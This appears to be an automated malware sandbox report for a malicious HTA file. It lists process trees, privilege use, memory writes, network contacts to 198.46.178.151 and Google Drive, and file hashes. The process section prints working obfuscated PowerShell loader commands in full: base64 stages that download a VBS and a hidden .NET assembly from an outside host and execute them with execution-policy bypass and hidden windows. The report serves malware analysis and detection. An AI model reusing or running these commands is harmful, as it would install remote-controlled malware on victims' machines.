Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000\Software\Microsoft\Internet Explorer\Main C:\Windows\SysWOW64\mshta.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\windOWSPowerShell\V1.0\POWeRSHell.eXE N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1852 wrote to memory of 1664 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\windOWSPowerShell\V1.0\POWeRSHell.eXE
PID 1852 wrote to memory of 1664 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\windOWSPowerShell\V1.0\POWeRSHell.eXE
PID 1852 wrote to memory of 1664 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\windOWSPowerShell\V1.0\POWeRSHell.eXE
PID 1852 wrote to memory of 1664 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\windOWSPowerShell\V1.0\POWeRSHell.eXE
PID 1664 wrote to memory of 2088 N/A C:\Windows\SysWOW64\windOWSPowerShell\V1.0\POWeRSHell.eXE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1664 wrote to memory of 2088 N/A C:\Windows\SysWOW64\windOWSPowerShell\V1.0\POWeRSHell.eXE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1664 wrote to memory of 2088 N/A C:\Windows\SysWOW64\windOWSPowerShell\V1.0\POWeRSHell.eXE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1664 wrote to memory of 2088 N/A C:\Windows\SysWOW64\windOWSPowerShell\V1.0\POWeRSHell.eXE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1664 wrote to memory of 2288 N/A C:\Windows\SysWOW64\windOWSPowerShell\V1.0\POWeRSHell.eXE C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
PID 1664 wrote to memory of 2288 N/A C:\Windows\SysWOW64\windOWSPowerShell\V1.0\POWeRSHell.eXE C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
PID 1664 wrote to memory of 2288 N/A C:\Windows\SysWOW64\windOWSPowerShell\V1.0\POWeRSHell.eXE C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
PID 1664 wrote to memory of 2288 N/A C:\Windows\SysWOW64\windOWSPowerShell\V1.0\POWeRSHell.eXE C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
PID 2288 wrote to memory of 2904 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
PID 2288 wrote to memory of 2904 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
PID 2288 wrote to memory of 2904 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
PID 2288 wrote to memory of 2904 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
PID 1664 wrote to memory of 3052 N/A C:\Windows\SysWOW64\windOWSPowerShell\V1.0\POWeRSHell.eXE C:\Windows\SysWOW64\WScript.exe
PID 1664 wrote to memory of 3052 N/A C:\Windows\SysWOW64\windOWSPowerShell\V1.0\POWeRSHell.eXE C:\Windows\SysWOW64\WScript.exe
PID 1664 wrote to memory of 3052 N/A C:\Windows\SysWOW64\windOWSPowerShell\V1.0\POWeRSHell.eXE C:\Windows\SysWOW64\WScript.exe
PID 1664 wrote to memory of 3052 N/A C:\Windows\SysWOW64\windOWSPowerShell\V1.0\POWeRSHell.eXE C:\Windows\SysWOW64\WScript.exe
PID 3052 wrote to memory of 2548 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 3052 wrote to memory of 2548 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 3052 wrote to memory of 2548 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 3052 wrote to memory of 2548 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2548 wrote to memory of 2784 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2548 wrote to memory of 2784 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2548 wrote to memory of 2784 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2548 wrote to memory of 2784 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Windows\SysWOW64\mshta.exe

C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\8762a9dea77db2f44207cc9edbc192f5776f7ac8532440ae60a65f5102f8ec93.hta"

C:\Windows\SysWOW64\windOWSPowerShell\V1.0\POWeRSHell.eXE

"C:\Windows\sYSTEM32\windOWSPowerShell\V1.0\POWeRSHell.eXE" "poweRSheLl.EXe -eX byPASS -noP -W 1 -c dEVicECREdeNtiaLDePlOymenT ; Iex($(IEX('[sYstEm.tExT.enCOding]'+[char]0X3a+[char]0x3A+'UtF8.GETStRIng([sySTEM.convERt]'+[CHAR]58+[CHar]58+'fRoMbase64STriNg('+[Char]0x22+'JFZENmI1TUtGICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFEZC10eVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FTWJFcmRFRmlOSXRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJMTW9uLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGtHRENPeUFFdkgsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgd3Esc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZkhuSk9PQWdhTCx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZmNMV0JuWCxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBiS2cpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJ3TnZtcExmRlp2IiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYU1lU1BBQ0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0cU9kWVBRUCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkVkQ2YjVNS0Y6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTguNDYuMTc4LjE1MS82Ni9zZWVtZXRoZWJlc3R0aGluZ3N3aXRoZ3JlYXRuZWVkc3dpdGhnb29kZm9ybWV3aXRoLnRJRiIsIiRFTnY6QVBQREFUQVxzZWVtZXRoZWJlc3R0aGluZ3N3aXRoZ3JlYXRuZWVkc3dpdGhnby52YnMiLDAsMCk7c3RBcnQtU2xFZXAoMyk7c1RBUlQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVOdjpBUFBEQVRBXHNlZW1ldGhlYmVzdHRoaW5nc3dpdGhncmVhdG5lZWRzd2l0aGdvLnZicyI='+[cHAr]34+'))')))"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -eX byPASS -noP -W 1 -c dEVicECREdeNtiaLDePlOymenT

C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe

"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\rsjf2g8_.cmdline"

C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe

C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESE9B4.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCE9B3.tmp"

C:\Windows\SysWOW64\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\seemethebestthingswithgreatneedswithgo.vbs"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JiAoICRTSEVMbGlkWzFdKyRzaEVsbElkWzEzXSsnWCcpICgoJ2p2TWltYWdlVXJsID0gdUNiaHR0cHM6Ly9kcml2ZS5nb29nbGUuY29tL3VjP2V4cG9ydD1kb3dubG9hZCZpZD0xQUlWZ0pKSnYxRjZ2UzRzVU95Ym5ILXNEdlVoQll3dXIgdUNiO2p2TXdlYkNsaWVudCA9IE5ldy1PYmplYycrJ3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7anZNaW1hZ2VCJysneXRlJysncyA9IGp2TXdlYkNsaWVudC5Eb3dubG9hZERhJysndGEoanZNaW1hZ2VVcmwpO2p2TWltYWdlVGV4dCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKGp2TWltYWdlQnl0ZXMpO2p2TXN0YXJ0RmxhZyA9IHVDYjw8QkFTRTY0X1NUQVJUPj51Q2I7anZNZW5kJysnRmxhZyA9IHVDYjw8QkFTRTY0X0VORD4+dUNiO2p2TXN0YXJ0SW5kZXggPSBqdk1pbWFnZVRleHQuSW5kZXhPZihqdk1zdGFydEZsYWcpO2p2TWVuZEluZGV4ID0ganZNaW1hZ2VUZXh0JysnLkluZGV4T2YnKycoanZNZW5kRmxhZyk7anZNc3RhcnRJbmRleCAtZ2UgMCAtYW5kIGp2TWVuZEluZGV4IC1ndCBqdk1zdGFydEluZGV4O2p2TXN0YXJ0SW5kZXggKz0ganZNc3RhcnRGbGFnLkxlbmd0aDtqdk1iYXNlNjRMZW5ndGggPSBqdk1lbmRJJysnbmRleCAtIGp2TXN0YXJ0SW5kZScrJ3g7anZNYmFzZTY0Q29tbWFuZCA9IGp2TWltYWdlVGV4dC5TdWJzdHJpbmcoanZNc3RhcnRJbmRleCwganZNYmFzZTY0TGVuZ3RoKTtqdk0nKydiYXNlNjRSZXZlcnNlZCA9IC1qb2luIChqdk1iYXNlNjRDb21tYW5kLlRvQ2hhckFycmF5KCcrJykgbnJFIEZvckVhJysnY2gtT2JqZWN0IHsganZNXyB9KVstMS4uLShqdk1iYXNlNjRDb21tYW5kLkxlbmd0aCldO2p2TWNvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoanZNYmFzZTY0UmV2ZXJzZWQpO2p2TWxvYWRlZEFzc2VtYmx5ICcrJz0gW1N5Jysnc3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChqdk1jb21tYW5kQnl0ZXMpO2p2TXZhaU1ldGhvZCA9IFtkbmxpYi5JTy5Ib21lXScrJy5HZXRNZXRob2QnKycodUNiVkFJdUNiKTtqdk12YWlNZXRob2QuSW52b2tlKGp2TW51bGwsIEAodUNidHh0LicrJ0dST0wnKydMLzY2LzE1MS44NzEuNjQuODkxLycrJy86cHR0aHVDJysnYiwgdUNiZGVzYXRpdmFkb3VDYiwgdUNiZGVzYScrJ3RpdmFkb3VDYiwgdUNiZGVzYXRpdmFkb3VDYicrJywgdUNiYXNwbicrJ2UnKyd0X3JlZ2Jyb3dzZXJzdUNiLCB1Q2JkZXNhdGl2YWRvdUNiLCB1Q2JkZXNhdGl2YWRvdUNiLHVDYmRlc2F0aXZhZG91Q2IsdUNiZGVzYXRpdmFkb3VDYix1Q2JkZXNhdGl2YWRvdUNiLHVDYmRlc2F0aXZhZG91Q2IsdUNiZGVzYScrJ3RpdmFkb3VDYix1Q2IxdUNiLHVDYmRlc2F0aXZhZG91Q2IpKTsnKS5SZXBsQWNlKCdqdk0nLCckJykuUmVwbEFjZSgndUNiJyxbc1RyaW5HXVtjaGFSXTM5KS5SZXBsQWNlKChbY2hhUl0xMTArW2NoYVJdMTE0K1tjaGFSXTY5KSxbc1RyaW5HXVtjaGFSXTEyNCkp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "& ( $SHELlid[1]+$shEllId[13]+'X') (('jvMimageUrl = uCbhttps://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur uCb;jvMwebClient = New-Objec'+'t System.Net.WebClient;jvMimageB'+'yte'+'s = jvMwebClient.DownloadDa'+'ta(jvMimageUrl);jvMimageText = [System.Text.Encoding]::UTF8.GetString(jvMimageBytes);jvMstartFlag = uCb<<BASE64_START>>uCb;jvMend'+'Flag = uCb<<BASE64_END>>uCb;jvMstartIndex = jvMimageText.IndexOf(jvMstartFlag);jvMendIndex = jvMimageText'+'.IndexOf'+'(jvMendFlag);jvMstartIndex -ge 0 -and jvMendIndex -gt jvMstartIndex;jvMstartIndex += jvMstartFlag.Length;jvMbase64Length = jvMendI'+'ndex - jvMstartInde'+'x;jvMbase64Command = jvMimageText.Substring(jvMstartIndex, jvMbase64Length);jvM'+'base64Reversed = -join (jvMbase64Command.ToCharArray('+') nrE ForEa'+'ch-Object { jvM_ })[-1..-(jvMbase64Command.Length)];jvMcommandBytes = [System.Convert]::FromBase64String(jvMbase64Reversed);jvMloadedAssembly '+'= [Sy'+'stem.Reflection.Assembly]::Load(jvMcommandBytes);jvMvaiMethod = [dnlib.IO.Home]'+'.GetMethod'+'(uCbVAIuCb);jvMvaiMethod.Invoke(jvMnull, @(uCbtxt.'+'GROL'+'L/66/151.871.64.891/'+'/:ptthuC'+'b, uCbdesativadouCb, uCbdesa'+'tivadouCb, uCbdesativadouCb'+', uCbaspn'+'e'+'t_regbrowsersuCb, uCbdesativadouCb, uCbdesativadouCb,uCbdesativadouCb,uCbdesativadouCb,uCbdesativadouCb,uCbdesativadouCb,uCbdesa'+'tivadouCb,uCb1uCb,uCbdesativadouCb));').ReplAce('jvM','$').ReplAce('uCb',[sTrinG][chaR]39).ReplAce(([chaR]110+[chaR]114+[chaR]69),[sTrinG][chaR]124))"

Network

Country Destination Domain Proto
US 198.46.178.151:80 198.46.178.151 tcp
US 8.8.8.8:53 drive.google.com udp
GB 142.250.179.238:443 drive.google.com tcp
US 8.8.8.8:53 drive.usercontent.google.com udp
GB 142.250.187.193:443 drive.usercontent.google.com tcp

Files

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

MD5 00ffc3452b05eb433e6069ab4c9e577b
SHA1 612d43a3d1d945b91b3c577b979d4ab7842c64b7
SHA256 2430a7399a7c67001436d8a28a6e2c061d0cf9df36b2d9e1a5b7c73c76fb05da
SHA512 4e9606bde3a6d40ba4626fe94228655387d220427d8a67b178a00cb6d0ea8dadc9706e7eee443a1c983b4207aedf4884cc8204c3d89c39d66c9268393953f0e8

\??\c:\Users\Admin\AppData\Local\Temp\rsjf2g8_.cmdline

MD5 32202bb612f9ef51cd640325dbe7c5aa
SHA1 28e1c7aeb8d2bdf758d75adaa1340e60175dfaaa
SHA256 10fe0e08974e2adeb6249a44d88b469fff05150c9308d5eafcefc35cd07ade78
SHA512 574c51af53fdf2af577ceb0790eb90648e248d91af95dba54e2a30b598e384c6faed133a62683b4522ac671dce4953b95df5e2df7971b9c426981b63609060d3

\??\c:\Users\Admin\AppData\Local\Temp\rsjf2g8_.0.cs

MD5 8165df8b1b6d49c15b5e65811de25b8c
SHA1 fbe4fe188254b23c8b57b8d1bcd56011a93f34ba
SHA256 063172ff26517cdf762b144b713c24d423f75c6493234773c0e241c060dfa9f9
SHA512 ede5171453ece61e25baf3eef0a842e92a2b2c47c06bd4ed416f9c0a42e2bbc29f1810b97e4041dcdfd53995fc0e268f20a39188db553cf272b0374994473a2d

\??\c:\Users\Admin\AppData\Local\Temp\CSCE9B3.tmp

MD5 1408994f12090b227dfa1eb3846c3a22
SHA1 46ec0bf55c5bc9ea5f988ec991dfdf311b54a4b0
SHA256 06abfd8e60b2390ee0519132ee78740e58aa2a5ac2a61f3bcd22a14314de4430
SHA512 31f836c55776a988ae7d48a0edc1f0940797937b0020e80a3bb13c5e8adc49d525d1a3db67710f1ace9177c1ef88b3c2f93b73be7630d9f4adb3941e6601194d

C:\Users\Admin\AppData\Local\Temp\RESE9B4.tmp

MD5 ecbea5799bbb959bbfe66bc5c0e57cc2
SHA1 37878e17e7025b7b711f5563eac1c7bf7bfb5396
SHA256 d75b050b0d1d949800c3e79a56c3c84629d70c547f6241bf832c303b9b713e71
SHA512 b341a1f63e8386707dd60d00bebee508003b957da6e29b10a8ba2f9976b63d783bca9e92909146b8799a56853e366756e6f631b437b6f881c1821edcc474c498

C:\Users\Admin\AppData\Local\Temp\rsjf2g8_.dll

MD5 bc80eb1512a57d1f42c9adf14677f13b
SHA1 2a4642547498844ba29b0c5cb9aacc3e12887aa8
SHA256 6d91788c27b376b1e025a5ff307b3cf0d06054512e92cecf477bd00404516027
SHA512 cee00e05f5777a91825811c18f461700f8b0b723c5061384f3355972420ea3028735e767c3138798d7f2f8771af30fcfd6ae9553b8e99aa37cc11dd8172ed153

C:\Users\Admin\AppData\Local\Temp\rsjf2g8_.pdb

MD5 77bcd83a412ed5286acca12d0add0808
SHA1 8e99e556c0757d16d216a34bc3982235adee5aaf
SHA256 b1627c288c8a8bb13383b0d22e6a7ece7e395119c6a58a4de637bc3d58db6dda
SHA512 77dca2747cc08bb0555676d2ec969bc10962663977800378662ba5b14f4223df13422edb9dc38a403a6bcd1ca57ba76bfad6785db3b23d209bcf128a28b83c1f

C:\Users\Admin\AppData\Roaming\seemethebestthingswithgreatneedswithgo.vbs

MD5 64cc9748329c0e186cacd10d639615e6
SHA1 1291f245b185bd05fb09646b79f284d76e7dc0ff
SHA256 2c5fffa8231f572e3a34b8d4ca675aec062c3accfe661519a28e376605c0479d
SHA512 65ccbfe0223b58675aef7de997229f3ba66be892c851d6cec9018b941f3a5c5cac3c41fbe1878474213293ad25059b06e7ff7f0c4e3320d75a6fa7f071b646ba

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

MD5 8c748a3aa06b57c77e3a32294543f76f
SHA1 b4314ad685ee354dfa67aaa01e53b847239da41e
SHA256 8daf56473de3a6e1e6df9e81e74eb0395a28234ee6842a35c692119ed3456b3b
SHA512 e554949bac22d86d9d790be83b7eb75ff1dc6082ee210f8130f8d0cbc053218131b1b27bddcffd741a4c6bd7dd02c2ec63455ae5ccf9a7ead2550a5489e12809

\??\PIPE\srvsvc

MD5 d41d8cd98f00b204e9800998ecf8427e
SHA1 da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512 cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e